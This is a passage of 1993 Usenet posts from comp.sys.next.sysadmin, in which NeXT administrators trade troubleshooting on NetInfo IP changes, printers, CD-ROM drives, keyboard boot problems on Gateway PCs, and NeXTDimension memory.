>of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages).
>Our clone NetInfo server (which also had an IP change) behaved
>similarly.
>We had to restore the old /etc/netinfo database (which I at least
>remembered to save) to get back on the air. Can anybody tell me what
>crucial step I missed?
There are a number of steps you have to take when changing the ip address
of a netinfo server. The way I do it...
1) Shut down all machines on the network, except for netinfo servers.
2) If the clones have any notions of ip addresses in their local
netinfo, change them... then shut the clones down.
3) Modify the ip address on your netinfo server in 3 places:
a) /etc/hostinfo
b) In the local domain, /machines/<hostname>, fix ip address
c) In the parent domain, /machines/<hostname>, fix ip address
4) Reboot NetInfo server.
5) Edit ip addresses in netinfo for the other machines, and reboot them.
I don't think I've forgotten anything... good luck!
Ken Anderson
anderson@biztech.com
Stamford, CT
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From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: How to utilize HP4M laser printer with NEXTSTEP
Message-ID: <1993Jun16.181427.23812@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
Date: Wed, 16 Jun 1993 18:14:27 GMT
We're considering the purchase of the top-of-the-line HP4M-whatever
laser printer (10 MB RAM, ethernet interface, MIRVs, self-aware, etc)
for use as a workgroup printer for several NeXT machines. The
attraction of this printer is not only the 600 DPI printing but the 17 PPM
engine. We will shortly (ha ha) receive some HP 735 systems as well. They
will be running HPUX....for now (snicker).
Here's the potential problem: the ethernet interface apparently does
not support the "correct" BSD lpr network addressing, and uses some
hack in which it appears to be a tty or something like that. There is some
software which runs on HPUX systems that handles the addressing
properly.
Questions:
1. Will this software compile and run on NEXTSTEP (BSD vs. SysV Unix)?
2. If not, does HPUX support BSD lpr so I could route lpr jobs from the
NeXTs to the printer via the HPUX system?
3. (Fall-back option) Has anyone used TTYDSP hardware on a NeXT to drive
serial printers at insanely fast speeds? 115Kb/s might keep that
printer cranking, if it can handle such speeds.
Thanks.
--
Nathan Janette
Systems Manager, Axel T. Brunger Lab
Internet: nathan@laplace.csb.yale.edu
Voice: 203 432 5065
Fax: 203 432 3923
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin
Subject: CDROM drive not recognized, need help deciphering error message
Message-ID: <68525@mimsy.umd.edu>
Date: 16 Jun 93 17:57:07 GMT
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
I recently installed a new CD ROM drive from MacWarehouse
(CDR 0072 with double-speed and multi-session support)
It is not recognized at boot time and I get the following error early
in the boot process:
mach: s0 (5,0): ERROR op:0x0 sd_state:10 scsi status:0x2 (WHAT DOES THIS MEAN?)
where with a NeXT CD player I get something like:
mach: SONY CD-ROM CDU-541 Rev 2.6a as sd2 at sc0 target 4 lun 0
mach: sd2: UNIT ATTENTION
mach: Waiting for drive to come ready
mach:
mach: Disk Label: NeXTSTEP_3.0
mach: Disk Capacity 659MB, Device Block 2048 bytes
mach: Disk is Write Protected
(there was one additional SCSI device on the chain with the NeXT drive)
Does anyone have any idea how to decipher the error message or where to go
go for more info?
--
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--------------------------------------------------------------
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the computer is just another dumb box." William Raspberry
From: alex@cs.umd.edu (Alex Blakemore)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: CDROM drive not recognized, need help deciphering error message
Message-ID: <68528@mimsy.umd.edu>
Date: 16 Jun 93 18:08:29 GMT
References: <68525@mimsy.umd.edu>
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
In article <68525@mimsy.umd.edu> I wrote:
> I recently installed a new CD ROM drive from MacWarehouse
> (CDR 0072 with double-speed and multi-session support)
> It is not recognized at boot time and I get the following error early
> in the boot process:
> mach: s0 (5,0): ERROR op:0x0 sd_state:10 scsi status:0x2 (WHAT DOES THIS MEAN?)
One new piece of info: the mechanism is a NEC CDR-55 drive.
Does NeXTSTEP have drivers for this device?
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--------------------------------------------------------------
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the computer is just another dumb box." William Raspberry
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From: raul@pencom.com (Raul Alvarez)
Subject: Re: Changing IP numbers - NetInfo woes
Message-ID: <1993Jun16.144703.15954@pencom.com>
Sender: usenet@pencom.com (News system)
Organization: Pencom Systems Incorporated
References: <C8oECo.E80@unixhub.SLAC.Stanford.EDU>
Date: Wed, 16 Jun 1993 14:47:03 GMT
In article <C8oECo.E80@unixhub.SLAC.Stanford.EDU>
dyaeb@ebnextk.SLAC.Stanford.EDU (David Aston) writes:
> We maintain about 30 NeXTs with NetInfo in a mixed (yp) network.
> In the near future, we have to change the IP numbers of many of the
> machines to facilitate subnetting. We did a successful dry run of this
> on four machines, including an NFS server, last Friday, and tried to do
> the rest last night.
> We ran into a problem we could not overcome. The master NetInfo server
> could not be persuaded to reboot (it, of course, is one of the machines
> having its IP number changed). The boot sequence is OK until rc starts
> lookupd which seems to be unable to talk to netinfod (we get an series
> of "netinfo sleeping", "netinfo waking" and "RPC timeout" messages).
> Our clone NetInfo server (which also had an IP change) behaved
> similarly.
> We had to restore the old /etc/netinfo database (which I at least
> remembered to save) to get back on the air. Can anybody tell me what
> crucial step I missed?
I had to do this also.
It seems that you changed the netinfo database, but did you change
/etc/hostconfig also? This file is created what you create a network
server, but is not maintained by netinfo.
I home this helps.
--
Raul Alvarez raul@pencom.com 212-513-7777 NeXT Mail OK
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From: draphsor@deathstar.stanford.edu (Matt Rollefson)
Subject: NetInfo problems - lookupd not binding properly?
Message-ID: <1993Jun16.220849.7125@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
Date: Wed, 16 Jun 93 22:08:49 GMT
I've been having some problems getting a NetInfo network set up here.
(What's wonderful about it is that I've previously set one up in
similar conditions with no problems. Sigh...) In any event, I'm not
trying anything especially fancy so far as I know. And the client
machines do indeed get their proper IP address and seem to bind to the
netinfo server without any problem, as reported by nidomain. However,
when they get to the point in the boot process where they start up
lookupd, it hangs with the following error message:
Jun 16 09:47:26 yavin lookupd[70]: netinfo sleeping: RPC: Unable to
receive; errno = Connection reset by peer
Anyone have any clues as to what this means/how to fix it? Pointers to
documentation are appreciated as well. Email and I'll summarize, if
warranted. Thanks in advance.
Rollie
--
Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware,comp.sys.next.bugs
Subject: [long]New Installation solutions for Gateway 2000 4DX2-66V with X30 Chip Set (recent models)
Date: 16 Jun 1993 23:06:44 GMT
Organization: University of Houston
Message-ID: <1vo924$hnk@menudo.uh.edu>
Previously I had made a posting about the problems we were having with
installing NEXTSTEP/fip on some Gateway 2000 4DX2-66V machines.
Specifically, we were having problems with the keyboards not responding (all
types of keyboards). More specifically, this relates to Gateways with the
revised Micronics System Boards u).sing the X30 Chip Set (Phoenix "80486 Rom
BIOS Plus ver 0.10 GJX30-01d".
Below are my notes for finally getting everything to work. These notes will
be forwarded to NeXT, Inc. and Gateway 2000 as it seems to have something to
do with a possible timing problem with the PS2Keyboard driver. NeXT and
Gateway 2000 Tech Support have been outstanding and even though they
couldn't solve the problem, they tried everything they could (NeXT even got
a hold of one of the newer Gateway 2000 machines to try to solve the
problem). Anyway, these notes explain installation problems and solutions
that _should_ work, but there is no promise. Please read them carefully. I
am sorry if they ramble on at times... :-)
*************************************************************************
Gateway 2000 4DX2-66V Installation Notes (Please read carefully!)
[Revised notes are at the bottom of the text. I have included all my notes
so that others may possibly benefit from them or figure some more
information out...]
For Installation:
Short Answer: Do not boot the system with the keyboard plugged in!!! If
you are installing, then plug the keyboard in _only_ when it asks you
questions like what language, what partition, etc.
After the initial "mini" install, you can complete the entire installation
with just the mouse plugged into COMA (COM1). Once you have NEXTSTEP
installed and working, and then you do the final reboot into NEXSTEP, you
can plug in the keyboard (In other words, don't plug in the keyboard until
you are logged into the "me" account.
Long Answer:
Problem:
NeXTSTEP/fip will not install with the keyboard plugged in while the machine
is booting. This seems to be because of the conflict with the BIOS.
Problem occurs during the following part of the boot process (using the
Gateway.config):
ISA bus
Registering: PCKeyboard0 <- PS2Keyboard
Registering: PCPointer0 <- PS2Mouse
It was suggested that there was a possible IRQ/Device conflict between the
keyboard and the Microsoft Serial mouse. The mouse and keyboard were moved
to different interrupt vectors (IRQ 3 and IRQ5 respectively) but the problem
still persisted.
The following things were attempted to remedy the problem:
Changed BIOS settings:
The final decided BIOS settings were:
Diskette A: 3.5", 1.44 MB
Diskette B: Not Installed Cyl Hd Pre LZ Sec Size
Hard Disk 1: Auto Config 1010 12 0 0 55
325
Hard Disk 2: Not Installed
Base Memory: 640 KB HD1 Block Mode: Enable
Extended Memory: 15360 KB HD2 Block Mode: Disable
Video Card: VGA/EGA IDE Speed: Fast
Keyboard: Not Installed
System BIOS Shadow: Disable Internal Cache: Enable
Video BIOS Shadow: Disable External Cache: Enable
E8000h 32K Shadow : Disable F0000h-FFFFFh : Non Cacheable
E0000h 32K Shadow : Disable C0000h-C7000h : Non Cacheable
D8000h 32K Shadow : Disable On board COMA : COM1
D0000h 32K Shadow : Disable COMA_IRQ : IRQ-4
C8000h 32K Shadow : Disable On board COMB : Disabled
Turbo : Enable COMB_IRQ : Disabled
Bus Clock : 1/4 Clock On board LPT : Disabled
Processor Type: 80486
Coprocessor Type: 487 or compatible Option ROMs Found:
Reserved Memory: 3072k Segment Size
BIOS Version #: 0.10 C000 32 k
Video Mode: 03h DC00 16 k
Serial Ports: 03F8h 02F8h
Printer Ports: 03BCh
The system could be used only if the following was done:
1) Disconnect the keyboard and boot the system
2) Connect the keyboard when prompted for question or need to log in
This problem does not effect the DOS partition in any way. DOS can be used
normally.
More specifically, the keyboard works under NEXTSTEP for the initial boot
process (i.e, it can be used to select partition to boot and for NEXTSTEP
boot parameters). After it registers the PCKeyboard0 and PS2Mouse devices,
the keyboard hangs, even if the keyboard is immediately disconnected after a
response is entered in the boot manager.
The only way to that NEXTSTEP will boot up and the keyboard will work under
NEXTSTEP is to make sure the keyboard is disconnected during the entire boot
phase.
Probable cause for problem:
NeXT had certified the Gateway 2000 systems to be "NEXTSTEP Compatible."
The system that was certified was using a Phoenix BIOS with the MCM2 Chip
Set and an older version of the Micronics system board. The Gateways that
we received have a new version of the Micronics system board with a Phoenix
"80486 Rom BIOS Plus ver 0.10 GJX30-01d". In otherwords, it was shipped
with the X30 Chip Set instead of the MCM2 Chip Set.
From what we can tell, there seems to be a slight, but serious, difference
between the two chip sets and the way they handle the keyboard. It seems
that during the NEXTSTEP boot process, there is a polling or resetting of
the keyboard which is indicated by the "NUM LOCK" led being turned off (it
is usually turned on when the system does its self diagnostics). It seems
that the PS2Keyboard driver, which is the only one that NeXT includes with
NEXSTEP 3.1 has a problem with the difference. It is possible that the
problem is that the keyboard has been relocated to a new port (not likely
since Gateway says it should be at port 0x60h which is the same as NeXT) or
that a few initialization commands have been altered... Whatever the case,
the keyboard (not just the 124-key "AnyKey" Gateway keyboard, but also an
IBM, Zenith, etc) will not function if the system is booted into NEXTSTEP
while it is connected to the computer. If it is connected after the boot
process, everything functions normally.
Solution found!!!! (well, kinda sorta as we are 1 for 2 on this....)
Short answer:
1) In the file /usr/Devices/System.config/Instance0.table remove the
PS2Mouse from the "Boot Drivers" line.
[Note: it turned out that step #2 was not needed. It was actually the Turbo
button... See below...]
2) In the file /usr/Devices/SerialPorts.config/Instance0.table change the
IRQs from "4 3" to "4 9" (in two separate places.)
The first change removes the poll for the PS2Mouse. Not sure why, but this
definitely causes problems with the Gateways, even though it uses IRQ 12 and
we are using Microsoft Serial Mice.... The second changes changes the IRQ
for COM2.
NOTE: An indication that the keyboard will work is if the Num Lock does not
turn off during the boot phase. This should happen automatically when
NEXTSTEP does the following:
Registering: PCKeyboard0
If it doesn't then you most likely have a conflict with a driver...
On another note:
What is interesting about the whole mess is that we still can't get the
keyboard to work on the system with the built in CD-Rom drive. The only
difference between the two systems is the CD-Rom card, and even when that
card was removed, the system still would not recognize the keyboard
Well after more experimenting we stumbled on the real truth (I guess we were
mostly correct..)
The real answer:
In addition to removing the PS2Mouse driver from the "Boot Drivers" line in
System.config/Instance0.table, you need to make sure the turbo button is
disabled during the boot/install process!!!!!!!!!!
Honest!!!!
This was the reason why we couldn't get the other machines to work. They
had "Turbo" enabled via BIOS (which is ok!!) but it was also enabled via the
front panel button. Disable Turbo during boot with this button, then enable
it after NEXSTEP boots up. The keyboard will work!!
[It seems to have something to do with timing for the keyboard. Maybe with
the new BIOS, the keyboard doesn't respond fast enough???]
**************
So here is the rule of thumb for Installing and running on the Gateway 2000
4DX2-66V with the Micronics System Board with the X30 Chip Set:
For Installation -> do not plug in the keyboard until you are asked
questions. Then plug it in and begin the installation. When you are told to
"Eject the Floppy Disk and Press Return", eject the floppy, press return,
then before the boot process begins, disconnect the keyboard. Do not
connect it. You can complete the installation with only a mouse.
When installation is completed, you will be asked to restart the system.
Click on "RESTART" but LEAVE THE KEYBOARD UNPLUGGED!
Now that the system is installed and you have restarted, wait until you are
logged into the "me" account. Then plug in the keyboard, become root and
then remove "PS2Mouse" from the file
/usr/Devices/System.config/Instance0.table in the line "Boot Drivers". Now
log out and reboot.
When you reboot, you can leave the keyboard plugged in, but make sure the
turbo light is off (disabled). To verify that your keyboard will work,
watch to see if the "NUM LOCK" led stays lit. If so, then something is
wrong and you will be without a keyboard...
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: draphsor@deathstar.stanford.edu (Matt Rollefson)
Subject: Re: NetInfo problems - lookupd not binding properly?
Message-ID: <1993Jun17.015211.14753@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <1993Jun16.220849.7125@leland.stanford.edu>
Date: Thu, 17 Jun 93 01:52:11 GMT
In comp.sys.next.sysadmin draphsor@deathstar.stanford.edu writes:
>I've been having some problems getting a NetInfo network set up here.
>[The client machines boot and then give the following error:]
>Jun 16 09:47:26 yavin lookupd[70]: netinfo sleeping: RPC: Unable to
>receive; errno = Connection reset by peer
Well, within an hour a kindly person at NeXT had sent me the proper
information to get me up and running. It follows:
From: Marc Majka <Marc_Majka@NeXT.COM>
Check the value of the trusted_networks property in the root directory
of your top-level NetInfo domain. If the value is incorrect, you'll
get the "connection reset by peer" message. If your network includes
several subnets, make sure each network number is listed as a value of
trusted_networks. What is happening is that lookupd is failing
because your your top-level domain won't allow connections from you
local host's address.
---------------------
That was indeed the problem, and things are now up and running. I'd
just like to make a public "thank you" to NeXT in general and Marc in
particular for responding so quickly and accurately to a publicly
posted query.
Rollie
--
Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
From: bezilla@SUN.REST.TASC.COM (Dan Bezilla)
Newsgroups: comp.sys.next.sysadmin
Subject: Need Help installing LaserJet IIP on Next Color Turbo
Date: 17 Jun 1993 01:07:33 GMT
Organization: TASC
Message-ID: <1vog4l$5f9@voltaire5.aitc.rest.tasc.com>
Just prior to NWE, I upgraded from 2.1 to 3.0. Until that time, I had
been using a modified version of the DeskJet 500 input filter that almost
worked with the LaserJet IIP.
The original filter was written by Derek Beatty at CMU, and it was
modified by Bill Thorson at Colo. State. I followed all the cabling
described in the FAQ, and every thing was OK (except for about 0.25 in.
page truncation which was livable). Once I upgraded my printing days
ended. I have seen several questions asked but no hard core technical
responses.
As an added FYI, I do NOT have a postscript cartridge, just a vanilla
LJIIP with 1.5M ram connected serially to my Turbo. Any help would be
greatly appreciated.
Reply to dbbezilla@tasc.com or bezilla@sun.rest.tasc.com or post a
response, I sure there are others awaiting the same answer since I have
seen their questions many times.
--------------
Dan Bezilla
dbbezilla@tasc.com
From: gary@esl.com (Gary Merrick)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT won't start loginwindow after 3.0 upgrade
Message-ID: <2126@esl.ESL.COM>
Date: 17 Jun 93 02:48:50 GMT
Sender: news@esl.ESL.COM
Organization: ESL
Please help...
I just upgraded from 2.0 to 3.0, and things aren't working too well.
The system hangs just about the time that it should be displaying the
login screen. <sigh> The last message I see on the monitor before it
hangs is "localhost reboot: Reboot complete". After trying to get it
to work for quite a while, I decided the best thing to do is start
over from scratch and perform a "fresh" installation this time.
I chose to initialize the disk to make sure this would be a "clean"
installation. The install seemed to go fine, but I'm having the same
problem as before <aargh!>
After booting in single-user mode and superficially comparing things
to another 3.0 system, it all appears to be OK. I can't understand
why it won't come up all the way. I was able to get a login prompt
by not using the window server (uncommenting the first line in
/etc/ttys and commenting out the second line), but this is no solution
to the problem.
hardware: Cube, monochrome mon., '040 (non-Turbo) upgrade from '030
--
===============================================================
| Gary Merrick System/Network Admin from Hell |
| ESL, Inc. gary@esl.com |
| Sunnyvale, CA |
| |
| "You can twist perceptions, reality won't budge." -N. Peart |
===============================================================
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: what the heck is tex.pool?
Message-ID: <ti6ls.740226259@tuhhco>
Date: 16 Jun 93 10:24:19 GMT
References: <ti6ls.740163046@tuhhco>
Sender: usenet@rztsun.rz.tu-harburg.de
ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach) writes:
>After having deleted this file by accident, I took it from the 3.0 CD.
>But now, running initex, I get the message:
> ! tex.pool doesn't match; tangle me again.
>What do I have to do? Any help would be appreciated!
Thanks to Alois Steindl and Matthew Seaman for helping me to solve the
problem. The tex.pool file has to be from the same distribution as the
binary files initex, latex, etc.
Thanks a lot!
Ludger.
From: nico@imani.cam.org (Nicolas Dore)
Newsgroups: comp.sys.next.sysadmin
Subject: Mac disks not recognized under 3.0
Message-ID: <1993Jun17.033625.872@imani.cam.org>
Date: 17 Jun 93 03:36:25 GMT
Sender: nico@imani.cam.org
Hi
I formatted some disks on a mac this afternoon, put stuff on them and stuck them
in my floppy drive when I got home. Usually, this would result in the disk
appearing as an apple logo'ed disk on the shelf. Today, it just told me that the
disk was bad, and did I want to format it or eject (I choose the latter).
Now, this is the first time it's happened to me.
Also, the panel that comes up under Disk->Initialize... in Workspace does not have
the "Macintosh" pop-up list item, along with "NeXT" and "DOS". I tried it with
DOS- and NeXT-formatted 1.44 Meg disks by asking for the initialize panel, and
it's just not there!
Everything else works A-OK, but this is a _big_ deal, so any help will be very
appreciated.
Ciao
--
Nicolas Dore nico@imani.cam.org
- - - - - - - - - CAREFUL!!! FRENCHIE ZONE!!! - - - - - - - - - - - -
>"Si la classe ouvriere ne nous satisfait plus, nous la destituerons<
> et en elirons une autre" B. Brecht (ne parlant pas d'informatique)<
Newsgroups: comp.sys.next.sysadmin
From: zenon@resonex.com (Zenon Fortuna)
Subject: Re: Nextdimension memory
Message-ID: <1993Jun16.100632.7116@resonex.com>
Keywords: nextdimension memory limit
Organization: Resonex Inc., Fremont CA
References: <1993Jun16.154435.23566@serval.net.wsu.edu>
Date: Wed, 16 Jun 1993 10:06:32 GMT
In article <1993Jun16.154435.23566@serval.net.wsu.edu> hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) writes:
>Is there a limit to how much memory can be put into a NeXTDimension board?
>We put 32megs in one of ours and we got system panics. With 20 meg it works
>fine.
>
>All 32 meg was tested and found to be good memory.
>
>--
>Karl Hakimian
>hakimian@eecs.wsu.edu
... and related question: is it a way to tell how much of memory a particular
NeXTDimention board has ? (without opening the cube)
-Z.
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: /etc/fstab vs NETINFO question - help is needed
Date: 17 Jun 1993 11:57:29 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1vpm79$jcn@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
How do I use "niutil" from a shell terminal to add this /etc/fstab entry to
the NETINFO "mounts" place:
math:/n/math/5 /Net/MATH nfs rw,hard,intr 0 0
When it's in the /etc/fstab it doesn't mount at boot or later with "mount -at
nfs" either.
I just couldn't figure it out myself. Can you help?
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.1 with Apple CD 300 - a WARNING!!!
Date: 17 Jun 1993 12:03:41 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1vpmit$jh9@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I hooked up my Apple CD 300 to my black cube and installed 3.1. It was a
disaster! It failed so I had to borrow a genuine NeXT CD ROM and then had to
reinitialize my harddisk. It took me a whole day.
Even though it appears that Apple CD 300 works with the NeXT cube and it may
partially do so, in fact, it is not 100% compatible. They even look identical
except that the NeXT one doesn't have the green light. Be vary careful! Any
comments?
BTW when I called the NeXT "tech support" I talked to a totally ignorant
woman (trying to advise me) who asked for my MasterCard or VISA number so one
of their "engineers" could call my back within 24 hours for $30 per half hour
(or maybe $30 for the 1st half hour). It pissed me off and I am mad at them.
Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: nevai@math.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Is there cc in 3.1 ? - I need help!!!
Date: 17 Jun 1993 13:10:07 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1vpqff$kkr@mathserv.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I had to reinitialize my harddisk to install 3.1 and I found no "cc" and
related stuff in it. Can I use the one form OS 3.0 or do I need a new
version? If I ned a new one, then where can I get it an for how much.
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@math.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions
From: robertn@penny.demon.co.uk (Robert Nicholson)
Subject: Backup strategy with Gnu tar
Date: Thu, 17 Jun 1993 12:27:17 +0000
Message-ID: <9306171221.AA00951@penny.demon.co.uk>
Sender: usenet@demon.co.uk
Does anybody have a backup to DAT strategy that I can use with gnu tar?
Please email as I don't have access to news.
Cheers.
From: max@mcs-server.gac.edu (Max Hailperin)
Newsgroups: comp.sys.hp,comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: Re: How to utilize HP4M laser printer with NEXTSTEP
Date: 17 Jun 93 08:51:25
Organization: Gustavus Adolphus College, St. Peter, MN
Message-ID: <MAX.93Jun17085125@mcs-server.gac.edu>
References: <1993Jun16.181427.23812@cs.yale.edu>
In-reply-to: nathan@laplace.csb.yale.edu's message of Wed, 16 Jun 1993 18:14:27 GMT
In article <1993Jun16.181427.23812@cs.yale.edu>
nathan@laplace.csb.yale.edu (Nathan F. Janette) writes:
We're considering the purchase of the top-of-the-line HP4M-whatever
laser printer (10 MB RAM, ethernet interface, MIRVs, self-aware, etc)
for use as a workgroup printer for several NeXT machines. ...
Here's the potential problem: the ethernet interface apparently does
not support the "correct" BSD lpr network addressing, and uses some
hack in which it appears to be a tty or something like that. There is some
software which runs on HPUX systems that handles the addressing
properly. ... Will this software compile and run on NEXTSTEP ...
Another approach is to replace HP's ethernet interface with the NetJet
from Emulex. We've got one of these in our HP 4M. It speaks honest
to goodnest lpr/lpd protocol, and works fine with our NeXTs. Another
plus is that it is reasonably priced and can support Netware,
Appletalk, and LAT as well all on one board -- though we haven't
gotten any of those to work yet at this point (through no fault of
Emulex's, probably).
Newsgroups: comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: 3.1 with Apple CD 300 - a WARNING!!!
In-Reply-To: nevai@math.ohio-state.edu's message of 17 Jun 1993 12:03:41 GMT
To: nevai@math.ohio-state.edu (Paul Nevai)
Message-ID: <CEDMAN.93Jun17094840@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1vpmit$jh9@mathserv.mps.ohio-state.edu>
Date: Thu, 17 Jun 1993 13:48:40 GMT
In article <1vpmit$jh9@mathserv.mps.ohio-state.edu> nevai@math.ohio-state.edu (Paul Nevai) writes:
I hooked up my Apple CD 300 to my black cube and installed 3.1. It was a
disaster! It failed so I had to borrow a genuine NeXT CD ROM and then had to
reinitialize my harddisk. It took me a whole day.
Even though it appears that Apple CD 300 works with the NeXT cube
and it may partially do so, in fact, it is not 100%
compatible. They even look identical except that the NeXT one
doesn't have the green light. Be vary careful! Any comments?
You say that you did a successful re-install from a NeXT CD ROM after
an unsuccessful upgrade with the Apple CD ROM, but how do you know
that the reason was the hardware and not just a generic upgrade
problem ? The upgrade does not do anything special with the CD ROM
beyond what would occur in normal usage, so I doubt that it was a
hardware imcompatibility -- there are some many other possible
culprits in a failed upgrade.
For what it is worth (and lest Garance starts blaming the double speed
CD ROMs from hell again :-) ), I did a problem free and fast upgrade
to 3.1 from 3.0 with a Toshiba 3401.
Carl Edman
Newsgroups: comp.sys.next.sysadmin,de.comp.sys.next
From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels)
Subject: Re: Using xmodmap with Xmouse
Message-ID: <H2IEBO1H@gwdu03.gwdg.de>
Keywords: Xmouse, X, X11R5, xmodmap, german, keyboard
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
References: <82GEBWDO@gwdu03.gwdg.de>
Date: Thu, 17 Jun 1993 14:40:10 GMT
I wrote:
> I do have a problem using Xmouse on a mono nonturbo slab
> that has a german keyboard
[...]
> So I want Xmouse to map Alt-1 on ~ for example.
thanks to all, that replied.
Xmouse uses any key that is mapped on Mode_switch which occurs in
any modifier key list as the "most common modifier". So the *only*
thing to do to enable Alt keys is to remap Alt_L to Mode_switch.
for example on non-ADB keyboards
keycode 91 = Mode_switch
keysym semicolon = semicolon colon odiaeresis
will work o.k. in .xmodmaprc i.e. xmodmap key definitions with more
than two values will work. Then Alt-; will yield .
It's not necessary to change any modifiers i.e.
remove Mod2 = Alt_L
keycode 91 = Mode_switch
add Mod3 = Mode_switch
as the modifier Mod? used is ignored anyway.
ciao Stephan
p.s. I do not know whether this is standard X11R5 behaviour,
but it works!
+--------------------------------------------------------------+
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+--------------------------------------------------------------+ |
| <trebels@theo-phys.gwdg.de> "No NeXTmail yet, it's a HP" | +
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+--------------------------------------------------------------+
From: npratt@gecko.modsys (Nevin Pratt)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Nextdimension memory
Date: 17 Jun 1993 17:08:20 GMT
Organization: Sun Microsystems, Inc.
Distribution: world
Message-ID: <1vq8e4$pkd@cnn.sim.es.com>
References: <1993Jun16.154435.23566@serval.net.wsu.edu>
In article 23566@serval.net.wsu.edu, hakimian@haney.eecs.wsu.edu (Karl Hakimian - staff) writes:
> Is there a limit to how much memory can be put into a NeXTDimension board?
> We put 32megs in one of ours and we got system panics. With 20 meg it works
> fine.
If you ask a NeXT marketroid, they will look at their sales literature and say,
"32 MB" is the limit. If you ask a NeXT hardware engineer (are there any left?)
they will say "64 MB" is the limit, using double-sided SIMM's, and then launch
into a diatribe about how marketing messed that one up when they printed "32 MB"
on the sales literature.
I've read posts over the years of people who have successfully ran an ND with
64 MB.
My take is that 64 MB is the limit, but NeXT had no intentions of offering
an ND board with 64 MB pre-installed. In any case, the 32 MB should have worked.
Something's therefore not right with your setup (either flakey memory, or
a flakey ND board).
> All 32 meg was tested and found to be good memory.
Yea, and all air is breathable too :-)
What I mean by this is, just because one person can breath the air in
a given room without coughing doesn't mean another person won't cough
when that same room air hits his lungs.
I'm sure you see the analogy. :-)
Nevin
Newsgroups: comp.sys.next.sysadmin
From: lacsap@plethora.media.mit.edu (Pascal Chesnais)
Subject: Re: 3.1 with Apple CD 300 - a WARNING!!!
Message-ID: <1993Jun17.180743.3469@news.media.mit.edu>
Sender: news@news.media.mit.edu (USENET News System)
Organization: MIT Media Laboratory
References: <CEDMAN.93Jun17094840@capitalist.princeton.edu>
Date: Thu, 17 Jun 1993 18:07:43 GMT
> In article <1vpmit$jh9@mathserv.mps.ohio-state.edu>
nevai@math.ohio-state.edu (Paul Nevai) writes:
> I hooked up my Apple CD 300 to my black cube and installed 3.1. It
was a
> disaster! It failed so I had to borrow a genuine NeXT CD ROM and then
had to
> reinitialize my harddisk. It took me a whole day.
>
> Even though it appears that Apple CD 300 works with the NeXT cube
> and it may partially do so, in fact, it is not 100%
> compatible. They even look identical except that the NeXT one
> doesn't have the green light. Be vary careful! Any comments?
>
I used the Apple 300 on three different cubes without any
problems due to the CDrom itself. What we have had
trouble with in the past are the HP 1 gig drives...
pasc
Newsgroups: comp.sys.next.sysadmin
From: tacchi@ccu.umanitoba.ca (Mark G. Tacchi)
Subject: Re: 3.1 with Apple CD 300 - a WARNING!!!
Message-ID: <C8s4o1.4uA@ccu.umanitoba.ca>
Sender: news@ccu.umanitoba.ca
Organization: University of Manitoba, Winnipeg, Canada
References: <1vpmit$jh9@mathserv.mps.ohio-state.edu>
Date: Thu, 17 Jun 1993 18:57:36 GMT
